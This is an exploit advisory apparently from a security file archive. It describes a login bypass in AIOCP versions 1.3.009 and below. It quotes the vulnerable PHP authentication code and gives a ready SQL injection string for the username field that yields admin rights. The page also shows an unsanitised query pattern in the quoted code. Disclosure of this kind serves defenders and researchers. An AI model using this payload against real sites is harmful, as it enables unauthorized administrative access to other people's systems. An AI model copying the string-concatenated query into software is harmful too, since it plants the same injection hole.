the internet's safety

aiocp-bypass.txt

aiocp-bypass.txt
Posted Jan 14, 2007
Authored by Coloss

AIOCP versions 1.3.009 and below suffer from a login bypass vulnerability due to another SQL injection flaw.

tags | exploit, sql injection, bypass
MD5 | d9029f6c2fc59e53e0d3c2f01c26a401

aiocp-bypass.txt

Change Mirror Download
[i] Product Name: AIOCP - All In One Control Panel
[i] Vulnerable Versions: <= 1.3.009
[i] Bug found by: Coloss
[i] Contact: coloss7@gmail.com
[i] Date: 9.1.2007

[i] Spec: AIOCP doesn't check the username posted by the client before using this to check authentication, so SQL Injection is possible
Example shows how to bypass login
[i] Other infos: This works with magic_quotes_gpc = Off
[i] Workaround: Edit source code to properly check username
No official patch is yet available


[Analysis]

[Unique Step] File: AIOCP/shared/code/cp_authorization.php

90 if ((isset($_POST['logaction'])) AND ($_POST['logaction'] == "login")) {
91 $xuser_password = md5($_POST['xuser_password']); // one-way password encoding
92 // check if submitted login information are correct
93 $sql = "SELECT * FROM ".K_TABLE_USERS." WHERE user_name='".$_POST['xuser_name']."' AND user_password='".$xuser_password."'";
94 if($r = F_aiocpdb_query($sql, $db)) {
95 if($m = F_aiocpdb_fetch_array($r)) {
96 // sets some user's session data
97 $_SESSION['session_user_id'] = $m['user_id'];
98 $_SESSION['session_user_name'] = $m['user_name'];
99 $_SESSION['session_user_ip'] = $_SERVER['REMOTE_ADDR'];
100 $_SESSION['session_user_level'] = $m['user_level'];
101 $_SESSION['session_user_language'] = $m['user_language'];
102 $_SESSION['session_alt_menu'] = 0; //default alternative menu disabled
103 // read client cookie
104 if(isset($_COOKIE['LastVisit'])) {
105 $_SESSION['session_last_visit'] = $_COOKIE['LastVisit'];
106 }
107 else {
108 $_SESSION['session_last_visit'] = 0;
109 }
110 $logged=TRUE;
111 }
112 else {
113 F_print_error("WARNING", $l['m_login_wrong']);
114 }
115 }
116 else {
117 F_display_db_error();
118 }
119 }


Parameters username and password are posted by the user on any login form. Password is crypted with md5() so it
cannot be used to perform any attack. Otherwise username isn't checked before the SQL query is performed.

[POC]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: [sql]
Password: <any password>


[Exploit example]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: ' OR user_id = '2' UNION SELECT * FROM aiocp_users WHERE user_name='
Password: <any password>

So you 'll get admin rights. (you 'll get rights of user with id = 2, usually admin)

Note: You have to substitute user_id = '<user_id>' with some existing user_id.. usually 2 is admin user id

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close